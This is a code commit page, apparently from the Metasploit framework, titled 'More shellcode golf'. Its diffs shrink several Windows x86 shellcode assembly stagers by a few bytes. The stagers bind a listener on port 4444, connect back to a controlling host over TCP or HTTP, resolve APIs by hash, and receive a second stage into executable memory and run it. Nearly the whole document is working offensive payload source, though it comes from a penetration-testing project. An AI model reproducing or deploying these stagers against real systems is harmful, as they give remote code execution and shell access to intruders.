Skip to content

Commit 69c938f

Browse files
schierlmHD Moore
authored andcommitted
More shellcode golf
1 parent b1453af commit 69c938f

File tree

7 files changed

+46
-50
lines changed

7 files changed

+46
-50
lines changed

external/source/shellcode/windows/x86/src/block/block_api.asm

Lines changed: 6 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
33
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
44
; Version: 1.0 (24 July 2009)
5-
; Size: 137 bytes
5+
; Size: 130 bytes
66
;-----------------------------------------------------------------------------;
77

88
[BITS 32]
@@ -17,16 +17,15 @@
1717
api_call:
1818
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
1919
mov ebp, esp ; Create a new stack frame
20-
xor edx, edx ; Zero EDX
21-
mov edx, [fs:edx+48] ; Get a pointer to the PEB
20+
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
21+
mov edx, [fs:eax+48] ; Get a pointer to the PEB
2222
mov edx, [edx+12] ; Get PEB->Ldr
2323
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
2424
next_mod: ;
2525
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
2626
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
2727
xor edi, edi ; Clear EDI which will store the hash of the module name
2828
loop_modname: ;
29-
xor eax, eax ; Clear EAX
3029
lodsb ; Read in the next byte of the name
3130
cmp al, 'a' ; Some versions of Windows use lower case module names
3231
jl not_lowercase ;
@@ -41,10 +40,10 @@ not_lowercase: ;
4140
push edi ; Save the current module hash for later
4241
; Proceed to iterate the export address table,
4342
mov edx, [edx+16] ; Get this modules base address
44-
mov eax, [edx+60] ; Get PE header
43+
mov ecx, [edx+60] ; Get PE header
4544

4645
; use ecx as our EAT pointer here so we can take advantage of jecxz.
47-
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
46+
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
4847
jecxz get_next_mod1 ; If no EAT present, process the next module
4948
add ecx, edx ; Add the modules base address
5049
push ecx ; Save the current modules EAT
@@ -62,7 +61,6 @@ get_next_func: ;
6261
xor edi, edi ; Clear EDI which will store the hash of the function name
6362
; And compare it to the one we want
6463
loop_funcname: ;
65-
xor eax, eax ; Clear EAX
6664
lodsb ; Read in the next byte of the ASCII function name
6765
ror edi, 13 ; Rotate right our hash value
6866
add edi, eax ; Add the next byte of the name
@@ -94,7 +92,7 @@ finish:
9492
; We now automagically return to the correct caller...
9593

9694
get_next_mod: ;
97-
pop eax ; Pop off the current (now the previous) modules EAT
95+
pop edi ; Pop off the current (now the previous) modules EAT
9896
get_next_mod1: ;
9997
pop edi ; Pop off the current (now the previous) modules hash
10098
pop edx ; Restore our position in the module list

external/source/shellcode/windows/x86/src/block/block_bind_tcp.asm

Lines changed: 14 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -23,10 +23,16 @@ bind_tcp:
2323
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
2424
call ebp ; WSAStartup( 0x0190, &WSAData );
2525
26-
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
27-
push eax ; push null for reserved parameter
28-
push eax ; we do not specify a WSAPROTOCOL_INFO structure
29-
push eax ; we do not specify a protocol
26+
push byte 8
27+
pop ecx
28+
push_8_loop:
29+
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
30+
loop push_8_loop
31+
32+
; push zero for the flags param [8]
33+
; push null for reserved parameter [7]
34+
; we do not specify a WSAPROTOCOL_INFO structure [6]
35+
; we do not specify a protocol [5]
3036
inc eax ;
3137
push eax ; push SOCK_STREAM
3238
inc eax ;
@@ -35,8 +41,7 @@ bind_tcp:
3541
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
3642
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
3743
38-
xor ebx, ebx ; Clear EBX
39-
push ebx ; bind to 0.0.0.0
44+
; bind to 0.0.0.0, pushed earlier [4]
4045
push 0x5C110002 ; family AF_INET and port 4444
4146
mov esi, esp ; save a pointer to sockaddr_in struct
4247
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
@@ -45,13 +50,13 @@ bind_tcp:
4550
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
4651
call ebp ; bind( s, &sockaddr_in, 16 );
4752

48-
push ebx ; backlog
53+
; backlog, pushed earlier [3]
4954
push edi ; socket
5055
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
5156
call ebp ; listen( s, 0 );
5257

53-
push ebx ; we set length for the sockaddr struct to zero
54-
push ebx ; we dont set the optional sockaddr param
58+
; we set length for the sockaddr struct to zero, pushed earlier [2]
59+
; we dont set the optional sockaddr param, pushed earlier [1]
5560
push edi ; listening socket
5661
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
5762
call ebp ; accept( s, 0, 0 );

external/source/shellcode/windows/x86/src/block/block_recv.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,6 @@ read_more: ;
3838
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
3939
call ebp ; recv( s, buffer, length, 0 );
4040
add ebx, eax ; buffer += bytes_received
41-
sub esi, eax ; length -= bytes_received
42-
test esi, esi ; test length
41+
sub esi, eax ; length -= bytes_received, will set flags
4342
jnz read_more ; continue if we have more to read
4443
ret ; return into the second stage

external/source/shellcode/windows/x86/src/block/block_recv_rc4.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,8 +48,7 @@ read_more: ;
4848
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
4949
call ebp ; recv( s, buffer, length, 0 );
5050
add ebx, eax ; buffer += bytes_received
51-
sub esi, eax ; length -= bytes_received
52-
test esi, esi ; test length
51+
sub esi, eax ; length -= bytes_received, will set flags
5352
jnz read_more ; continue if we have more to read
5453
pop ebx ; address of S-box
5554
pop ecx ; stage length

external/source/shellcode/windows/x86/src/block/block_reverse_http.asm

Lines changed: 19 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -35,20 +35,27 @@ load_wininet:
3535
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
3636
call ebp ; LoadLibraryA( "wininet" )
3737

38-
xor ebx,ebx
38+
set_retry:
39+
push byte 8 ; retry 8 times should be enough
40+
pop edi
41+
xor ebx, ebx ; push 8 zeros ([1]-[8])
42+
mov ecx, edi
43+
push_zeros:
44+
push ebx
45+
loop push_zeros
3946

4047
internetopen:
41-
push ebx ; DWORD dwFlags
42-
push ebx ; LPCTSTR lpszProxyBypass (NULL)
43-
push ebx ; LPCTSTR lpszProxyName (NULL)
44-
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
45-
push ebx ; LPCTSTR lpszAgent (NULL)
48+
; DWORD dwFlags [1]
49+
; LPCTSTR lpszProxyBypass (NULL) [2]
50+
; LPCTSTR lpszProxyName (NULL) [3]
51+
; DWORD dwAccessType (PRECONFIG = 0) [4]
52+
; LPCTSTR lpszAgent (NULL) [5]
4653
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
4754
call ebp
4855

4956
internetconnect:
50-
push ebx ; DWORD_PTR dwContext (NULL)
51-
push ebx ; dwFlags
57+
; DWORD_PTR dwContext (NULL) [6]
58+
; dwFlags [7]
5259
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
5360
push ebx ; password (NULL)
5461
push ebx ; username (NULL)
@@ -60,23 +67,21 @@ got_server_host:
6067
call ebp
6168

6269
httpopenrequest:
63-
push ebx ; dwContext (NULL)
70+
; dwContext (NULL) [8]
6471
push HTTP_OPEN_FLAGS ; dwFlags
6572
push ebx ; accept types
6673
push ebx ; referrer
6774
push ebx ; version
68-
jmp get_server_uri ; push pointer to url
75+
call got_server_uri
76+
server_uri:
77+
db "/12345", 0x00
6978
got_server_uri:
7079
push ebx ; method
7180
push eax ; hConnection
7281
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
7382
call ebp
7483
xchg esi, eax ; save hHttpRequest in esi
7584

76-
set_retry:
77-
push byte 0x10
78-
pop edi
79-
8085
send_request:
8186

8287
%ifdef ENABLE_SSL
@@ -123,12 +128,6 @@ failure:
123128
dbl_get_server_host:
124129
jmp get_server_host
125130

126-
get_server_uri:
127-
call got_server_uri
128-
129-
server_uri:
130-
db "/12345", 0x00
131-
132131
allocate_memory:
133132
push byte 0x40 ; PAGE_EXECUTE_READWRITE
134133
push 0x1000 ; MEM_COMMIT

external/source/shellcode/windows/x86/src/block/block_reverse_tcp_allports.asm

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -51,10 +51,9 @@ try_connect:
5151
jz short connected
5252

5353
port_bump:
54-
xor eax, eax
5554
mov word ax, [esi+2]
5655
xchg ah,al
57-
inc ax
56+
inc eax
5857
xchg ah,al
5958
mov word [esi+2], ax
6059
jmp short try_connect

external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,10 @@ reverse_tcp:
3636
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
3737

3838
get_address:
39-
jmp get_hostname
39+
call got_hostname
40+
41+
hostname:
42+
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
4043

4144
got_hostname:
4245
push 0x803428A9 ; hash( "ws2_32.dll", "gethostbyname" )
@@ -66,12 +69,6 @@ handle_failure:
6669
failure:
6770
push 0x56A2B5F0 ; hardcoded to exitprocess for size
6871
call ebp
69-
70-
get_hostname:
71-
call got_hostname
72-
73-
hostname:
74-
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x00
7572

7673
connected:
7774

0 commit comments

Comments
 (0)